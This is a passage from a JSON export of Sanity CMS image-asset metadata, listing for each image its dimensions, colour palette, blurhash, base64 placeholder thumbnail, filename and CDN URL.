CNW3a1g/2cO/8wVkd5/i3rPnWHh1jK9zh/hPdhPE+/MY/n5pMN347DVDaZjxaEB84qNPvFlACISuA4HjgN3hoFtIAvdwDjI/J+HOT6uwfnMF1m4swS8r87Cz8C2Ub1wGmv4OJ4epcFpK55nAdTOB47iBY2Po9GcDx4TIMWBo6+B1TsAupqD15Dq8XF+EZ9d+gL3lH2EneRUOvpmDxsKXEPy5ODs7eYTn0rF/rleOmGGvs+2rIiVdEX1Dxriv4shWcNSXcWTUcSTnMGodYHiQxcHqLRysLGN4axGHv97EydEmwoc8gsYhGJUQjHKOiYX3d7wmX7FalR5Vm8rIEtVxX1THVludWB86Z2ZdmFp1Ydb8V8A/0gKupwTc+k1Afl9AtSiAUZbA4LugczXQufvMR7U+N5SrC4FSWxtqzdTYaqUmVit1ZjVXz8zG8tSoJadmNXGuconz4ovELLeTmNUKiZnOJcDgk6Bzy6hzKdC5JTD4r/4Dp03gb8Wv4LEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#865540","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#152956","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69113","foreground":"#000","population":4.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf998f","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac392","foreground":"#000","population":0.61,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#698499","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69113","foreground":"#000","population":4.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844.png","path":"images/sczeoy4w/production/ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844.png","sha1hash":"ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48","size":322232,"uploadId":"jZmHzjgPuBuHjE124VF526MtoPDoVy8g","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844.png"} {"_createdAt":"2022-06-30T19:59:08Z","_id":"image-ec2f3658a5fc2f616f248c86c19bfa1f81463781-2100x652-png","_rev":"cEPH2uRN58AU2lp9QO7wRl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:20Z","assetId":"ec2f3658a5fc2f616f248c86c19bfa1f81463781","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7SPX_-;IUxu?b~qM{ayxuj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2208588957055215,"height":652,"width":2100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqElEQVQYlW3QQQ7EIAgF0N7/qLYjFbAqiJ0Ukq76Vib6v+g25xQRdq01Eem9X05V11r3fZuZql7XRURxTFXnnBszI+JxHCmlnDMiElGttfcuIurGGLVWAEgp7fuec46KDdzPAcB5nqUUImqtxVUxBSICQHYAgIjM/IRLKZEJcXmEmfkNx9a7IKKtfem9x6vesaOouqh7xrYvy91urWVmY4z41DFG9JrZHzvHWazilD7jAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#656565","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ec2f3658a5fc2f616f248c86c19bfa1f81463781-2100x652.png","path":"images/sczeoy4w/production/ec2f3658a5fc2f616f248c86c19bfa1f81463781-2100x652.png","sha1hash":"ec2f3658a5fc2f616f248c86c19bfa1f81463781","size":71019,"uploadId":"CejxqRMN3st7PsA7zrquJhV0Y8knePVl","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec2f3658a5fc2f616f248c86c19bfa1f81463781-2100x652.png"} {"_createdAt":"2023-04-04T13:07:44Z","_id":"image-ec34985efb8ed06e3f85f02c6ff9805a10db9a44-512x512-jpg","_rev":"CehdQyS8z5lmiPrCU0eUyZ","_type":"sanity.imageAsset","_updatedAt":"2023-05-05T08:24:35Z","altText":"Aleksander Zaruczewsk","assetId":"ec34985efb8ed06e3f85f02c6ff9805a10db9a44","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDIo|g{|3B00%gn-sm={RlI;Kg9axuRjo|=|RQo|NG%10zJ8RQ-VaL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQADAAAAAAAAAAAAAAAAAAYEBQf/xAAmEAABAwQCAQMFAAAAAAAAAAACAQMEAAUGEQchEiIxQRMUMmFx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAwQFBv/EAB0RAAICAgMBAAAAAAAAAAAAAAABAhEDIQQSM1H/2gAMAwEAAhEDEQA/AMDD7XZ3YdymSjbJwXPD1rtRBKj8lagN3E1hmKtfkKp8LVhhFviBbJzigLslx3xLZdINaHlCJGisslCaEC2oko/NJwlWVo1SiumqpHUOOcqjv4ux946n1gJQXa++tUqM49widccbalK4TSOGqoP66pRWo2SZwxuT2QnGF0lLlRQjPzjm2uxLvtPZascnRLgM5ZCJpgPQg9IlKUvl9EG4zbwb+klj/K+U2u3JEjyWCabJUHza2uv7ulKU1SJTbP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#632f33","foreground":"#fff","population":3.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#550b25","foreground":"#fff","population":0.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a85a58","foreground":"#fff","population":6.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ae8176","foreground":"#fff","population":3.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4998a","foreground":"#000","population":1.76,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85a58","foreground":"#fff","population":6.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c44c5c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"aleksander-zaruczewsk.jpg","path":"images/sczeoy4w/production/ec34985efb8ed06e3f85f02c6ff9805a10db9a44-512x512.jpg","sha1hash":"ec34985efb8ed06e3f85f02c6ff9805a10db9a44","size":29708,"title":null,"uploadId":"LtaJriuXGv1ix45NZg6eD93d4xA1HzhI","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec34985efb8ed06e3f85f02c6ff9805a10db9a44-512x512.jpg"} {"_createdAt":"2024-08-26T03:52:30Z","_id":"image-ec4ed6956aa9b7278fd1629d62d8fe1adc912517-1756x606-png","_rev":"m8xt6aEW5HgObqk4IKNKw8","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:30Z","assetId":"ec4ed6956aa9b7278fd1629d62d8fe1adc912517","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFS6VzxvRr%MD~~pxv-Tt7I.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.897689768976898,"height":606,"width":1756},"exif":{"PixelXDimension":1756,"PixelYDimension":606,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABTklEQVQokXXPa4vTQBSA4f7/PyT4QdiPrtoK6q5Ytgm7Kc2mk8tkMvfLK0lVBBHOA/NheDlnV4B/le3hk6fVHT+GE8fhRKcFIUf4/a8kYpjxpiVYQU6OXSmF/zHR8iRr3rd77tsD9fyCS34trUPOAasapm7PMjwSvWRXcmbFL+UvMQUGM1IPL9Rjw+hmUsnbhtuWJWEWwdAdWWRDTpZdcB6pLN1kENKgjSeFSI6RHDzOzIxDu3FOkVIgpbTxISLGmerc0vYTLkR202z4XPe8/XLh7rGlepVoY/HWYpeRWRy5Nh/omnuk+M4yX1FKbfpJ8fAsuHs486kSdNLegofTlTeHZ959PVO1E1ob3BpUt2B/2W/WoFZXlmXZgpPSPL1KPlY935oJodzt5FFqLkLSDTNaW1II5JX3RG8IXm9icOScyDn/4WNCu4D1kZgyPwGH6xkUqam3fgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345468","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c6989","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e9a0","foreground":"#000","population":2.43,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c5a6","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e9a0","foreground":"#000","population":2.43,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a79b62","foreground":"#000","population":0.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4943c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_arch_2.png","path":"images/sczeoy4w/production/ec4ed6956aa9b7278fd1629d62d8fe1adc912517-1756x606.png","sha1hash":"ec4ed6956aa9b7278fd1629d62d8fe1adc912517","size":108258,"uploadId":"9C34bxFihNuuuVjW2Jxio0TaMafDgnVJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec4ed6956aa9b7278fd1629d62d8fe1adc912517-1756x606.png"} {"_createdAt":"2022-12-14T10:52:06Z","_id":"image-ec54d9cde353c08e044a0a010bc506eee1a5fe3f-2000x1114-png","_rev":"3re4XGUaXqpLG8nUT43sdF","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T10:58:22Z","altText":null,"assetId":"ec54d9cde353c08e044a0a010bc506eee1a5fe3f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7953321364452424,"height":1114,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABUklEQVQokU1QCY4EIQjs/790Z9oDLwRBeqPOHpUKKYgFsa7Bhm22ojV/WDY/umgt2spcbdnDPWEym8/FZLXMDJoOo8BmiqvNoCVJBklREmxu0XHOadfUR4YNNuZVj/jRk0mZhPvgLkyT12RVVTN7rmfDbHFumNkRKjKIBpEwjU6DmJl7pzHGsj7/zKpKRIhIG9hazblAaqX2hq3UDBBDDD602uacf2ZVRcScMwCklErOMQT3fvv7hggJUorgnXe3SykR0d/lOScihhBijCEE51yM0Tn3+vp6v17OOe98DNH79YCIz9llNjNVrbWFECACRPjdct/3cnofQljHIZVSROQ4P5fNTERXGjuSAyLqvSNia60iNuyIvRMNEdEpO9hrTtMjV+AfnL+ICBE1okpciRsREjXmygN5DNGr91Hr2ng8vzgR1lpX+iKsMmSRRVYrKqLffGd992o8cJ4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464444","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#31285b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a094e0","foreground":"#000","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbb4cc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a094e0","foreground":"#000","population":0.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7066a2","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7264ba","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"DevRelCon-Prague2022_PLG2.png","path":"images/sczeoy4w/production/ec54d9cde353c08e044a0a010bc506eee1a5fe3f-2000x1114.png","sha1hash":"ec54d9cde353c08e044a0a010bc506eee1a5fe3f","size":165307,"title":null,"uploadId":"hkFzJG6cSasGnVinIgAaJWT5tw3hf2AD","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec54d9cde353c08e044a0a010bc506eee1a5fe3f-2000x1114.png"} {"_createdAt":"2024-07-29T08:45:18Z","_id":"image-ec6a85d5eb982a4b3d305db58fc6f35e282306cd-1200x628-png","_rev":"O3DLOoQbsVaTpwy5wA8Uwe","_type":"sanity.imageAsset","_updatedAt":"2024-07-29T08:45:18Z","assetId":"ec6a85d5eb982a4b3d305db58fc6f35e282306cd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27-jp_Bw.H;0E~UKA_3?ZOJ01RK?c-@RL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACjUlEQVQokVWSaVNSARSG7y9oxgoX4N4LeLkLyCaILJmCqHAzUozUzGy0RSctc0F2RMwltablD/RLnwa+9el8ODPnfeY8rzAor7G43KHa/Mvqxi1OY5s+6xseiu+wSDv0Oz4x4PzC4PAxVqWCTW0i6Q2CY2Xms1We5FoEx08R9TpDSgXBIq6QMats7/1hceUCPbiLXfmAqH7Eoe/j9BwhGyXs6glWpYpdq2OEDplNb7KzssXR1jHLq1/xJ86xqQ2EB7ZlIsnPzBfazOVbJNMVYpNVxifrJFJtEulzQok2arCBqNVxjdR5lNoln8uzND3F1tJzNjdLJGc7SJ6zLuEqodgeGbPGzHyDuadtzMULcgtX5BZuyD67Yyr7jfHUJZ5wB320yXR2j9nMLAHDQzKSwHyywdjjCo6RK4RB+SXRiX2y+WaPMPvsjHzxmnzxhnzxO/niT54Wf2EWfjE+dYM+2iaS/EI4kkUWDXQtTiT2Cj1URvZeI/RLLwlEPzKRKTGRKTM1V2fabJPOdZiZ71LekV34Qcq8I5S4ZNjXRvHXUDybiA4Tp3sJt28X2ahh1zsIfUMvkJTXqL536IEdjNAe/ughoViZULxGOHna+6ERbuHwNpA9pxjhK4LxS3zRBlqgjNNbQzIaiHoLoa+/gGR7juJex6lvIevvCSdKTJvnPSnBWAM12LXbtVzpHQzEb0lmfhOdvMM7do7ib+Ea6YY1Ee73L+KyF9DVdYaNtzj0D8RTVRZe3JLOXTCaaKH4KljdpV7PRK2FO3CBJ3KFO3CKbFQRtTJ2rYJdbyLcsxR4MLCExbaMRVzDIm0gqdu4ffu4vAdI2gFW5fC/Ytu1dm8ODZ8w4DpiwNXdl7BpLf4BHkxwB4iY0dcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346c","foreground":"#fff","population":1.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bea096","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5cbe7","foreground":"#000","population":7.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77564","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c34341","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DiogoQuote1.png","path":"images/sczeoy4w/production/ec6a85d5eb982a4b3d305db58fc6f35e282306cd-1200x628.png","sha1hash":"ec6a85d5eb982a4b3d305db58fc6f35e282306cd","size":299517,"uploadId":"YXF45B6CE0VJcK17byxlXcbzli2RQbBz","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec6a85d5eb982a4b3d305db58fc6f35e282306cd-1200x628.png"} {"_createdAt":"2023-06-07T13:32:37Z","_id":"image-ecbf664fda86beab1c20f268be58f9b2a75f9ef0-1920x1037-jpg","_rev":"OSa4Of7leLeKOMRysgiWAi","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:32:37Z","assetId":"ecbf664fda86beab1c20f268be58f9b2a75f9ef0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIF#m*wcE1x]9[?]XmM|w]nO%fxGRQbas:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgAE/8QAIhAAAQQCAQQDAAAAAAAAAAAAAQIDBBEABRIGEyEiFFFh/8QAFQEBAQAAAAAAAAAAAAAAAAAABAL/xAAZEQADAQEBAAAAAAAAAAAAAAABAhEAEiH/2gAMAwEAAhEDEQA/ADUXq8xtshTmkPd4W5wSaA+s26frqDNmsNPwA2sKq1D2F4HGxmCWgfIX7H2/cewIUZEQOJYbC1eSqvN4Fabc91RJPcM2UWYvYSVofTxU4pQ5GjV5Zp25InuZZY6OOeRv/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47443c","foreground":"#fff","population":6.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#572013","foreground":"#fff","population":5.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0c6b4","foreground":"#000","population":6.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c6b4","foreground":"#000","population":6.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5868c","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8369","foreground":"#fff","population":2.99,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d37133","foreground":"#fff","population":3.31,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-customer-img.jpg","path":"images/sczeoy4w/production/ecbf664fda86beab1c20f268be58f9b2a75f9ef0-1920x1037.jpg","sha1hash":"ecbf664fda86beab1c20f268be58f9b2a75f9ef0","size":1903272,"uploadId":"HnTiobhZxwhOLs3wz9jFzvrQ5lPsv1pS","url":"https://cdn.sanity.io/images/sczeoy4w/production/ecbf664fda86beab1c20f268be58f9b2a75f9ef0-1920x1037.jpg"} {"_createdAt":"2024-02-12T14:11:03Z","_id":"image-ecd8ac37d5849451adfd75b7a3733a98b19966eb-512x512-jpg","_rev":"pSrA0vvOUlEaOistjqwi0g","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T14:11:03Z","assetId":"ecd8ac37d5849451adfd75b7a3733a98b19966eb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDMZdi00B=4p-p00E-BX58%M.m={m*Io?G9F$y?aI=Io58EOs:aeen","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYFBP/EACUQAAEDBAIBBAMAAAAAAAAAAAEAAgMEBREhBhIxFCJBURVhcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMEBf/EABwRAAICAwEBAAAAAAAAAAAAAAABAxECBBIxcf/aAAwDAQACEQMRAD8AneEUsE94iZU0rKmMb6POBr7VtyTh8V1qqCvhZDRPaCekO/Gwsm08GudJA5808cFdjMcHkn9FWnEbbcDK19wikYQeoaPDB8rNlfew8o3a8NONY4xVn9LOihIo4BIff0Gf7hFq+lBx0f7fjI2is5ZDZLWqBn5i1SOBc+cPe8uOdjxhXIhY97SW7H0iItRVEqE2HcjOlsTMDSIiqAP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3e33","foreground":"#fff","population":4.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b4e25","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9d0c2","foreground":"#000","population":8.94,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9d0c2","foreground":"#000","population":8.94,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8cd77","foreground":"#000","population":0.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17258","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfa368","foreground":"#000","population":8.84,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olivier.jpeg","path":"images/sczeoy4w/production/ecd8ac37d5849451adfd75b7a3733a98b19966eb-512x512.jpg","sha1hash":"ecd8ac37d5849451adfd75b7a3733a98b19966eb","size":27197,"uploadId":"9nEfKSXFBRoc0ILI9ai6gnyZp5o03qlV","url":"https://cdn.sanity.io/images/sczeoy4w/production/ecd8ac37d5849451adfd75b7a3733a98b19966eb-512x512.jpg"} {"_createdAt":"2022-06-15T20:02:33Z","_id":"image-ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriIuK","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:27Z","assetId":"ece3aea82bde9edb00dd593271e6d0a8964d81c7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNQvOL%#JDVs-oCAVsn4o|t8veM{tQVtX9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC9klEQVQokS3OS4/bVBjGcX8gJL4AXwM2rCqxYcMCddURSF0gNFRFCFVCFaoKqiqYIQhRQWc0Q3MdZxI7ie3cfY3jc2LHPseOEzuZSybvizKw+Ol5ln/BcYPPTZu+tJzZ76ZNfzNMUjAsUtBN754zCQpBmBYint+vR6LC2HAKjYZceHty+qZYqpxYNnnD+OonxtJHgqKNX4j1tnEhtpLqhcTK1Qbfq9SavClpfDByOPVjTmecD0Yml2SFV2t1XixWeKlUjTsdNZkRf7Fg3ExZ9LOgauPji3orrlSbWK42sFy5xFK5jtULCbs9A10vxJCtkM4i1LQ+XjZkrNebKEtt1Ec6WjZB3Y5w4obJnMz+EFwv/NW0aaSbHuqmtzNMArrpgWlToH4MLM5hlW0gW2UQRQwImYE+0qHf7YJjWiAPgt2xmOAvtUVyIkXnQsTzo4jnLOI5RjyH//ce4xkmyRI32QK3mwXerJeYxgwdY4wdWcJOW8HzSwt+PPXxh7ds+fpdKAosXh+xeM1YvEYWr/dFyOMMOV9izBJM2RzXnOB1QjBnBCPioDXqo6a0UVU1bEp9qFV72K73UkPtFwUW50csztm+hvPVLmYpJCyGRRTCMvQhm09hM7dh4+uwJGOYOTrYpg62bYFt29BTNeg1Gxj0GoutK50JnC2POEujfU0SsV0aBbAKKeRzFzaBBdf+GG79Adx6CqwHJYjEv8GrV2A6HIKlj0FqXO6atRK6mpjcTOUzYUG8Y+46PHJtXFAb14GNV4GBN/4Qt7Me3lEVd1RBMIt499fXePXkAaZPH2H4ZwFt6QIV8R12xTP0e9X0diqdC5mhPeODdicYtieJo+nXtK9vZ119RxUdaFsH0tKBtnRUj018/pEHn71P7h5+6F69fDZJmv9MiFp2qFqaLg2xu/PkV8Jm0vs4s5QvU7vz1dpVvthS5QBo+wBo6wCI/J/9bzx/DE8/+A4fvvc9fvvpEzx9fbgdVg8zs364MsRvbt3mYyDyJ/8Ct8nyoDbBRd4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363846","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#462b1f","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c89992","foreground":"#000","population":0.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c89992","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc688c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a709e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2440","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844.png","path":"images/sczeoy4w/production/ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844.png","sha1hash":"ece3aea82bde9edb00dd593271e6d0a8964d81c7","size":374396,"uploadId":"Tsm5MoihRl35nOl0IpIP6klsDLs40EDK","url":"https://cdn.sanity.io/images/sczeoy4w/production/ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844.png"} {"_createdAt":"2024-01-24T01:54:37Z","_id":"image-ecf3624f19a08ac2149d436d04621e0b01d762fb-499x499-jpg","_rev":"VeNKqGNmt13PzvGhqkcSqC","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:54:37Z","assetId":"ecf3624f19a08ac2149d436d04621e0b01d762fb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRI#iW^,yC?b%2ISM|xvM{Rj?w9FVsj[X7MxRixvRkt7-;M_M{WBae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":499,"width":499},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHBQj/xAAnEAABBAEDAgYDAAAAAAAAAAABAgMEBQAGESESMQcTFBcjQUJRYf/EABkBAAEFAAAAAAAAAAAAAAAAAAQBAgMFBv/EABwRAQACAgMBAAAAAAAAAAAAAAEAAhIxAwQRIf/aAAwDAQACEQMRAD8A72u61mjppE2ISX0EJbQT3JybpbbUsR5MObNSwp1vzW+he6ePxP8AcsPGyQzXaO9SsoLpeSW0/sg/eZfrCdYJramcxHWWXu6kp4SSONjgvI20SelRovstPdHUL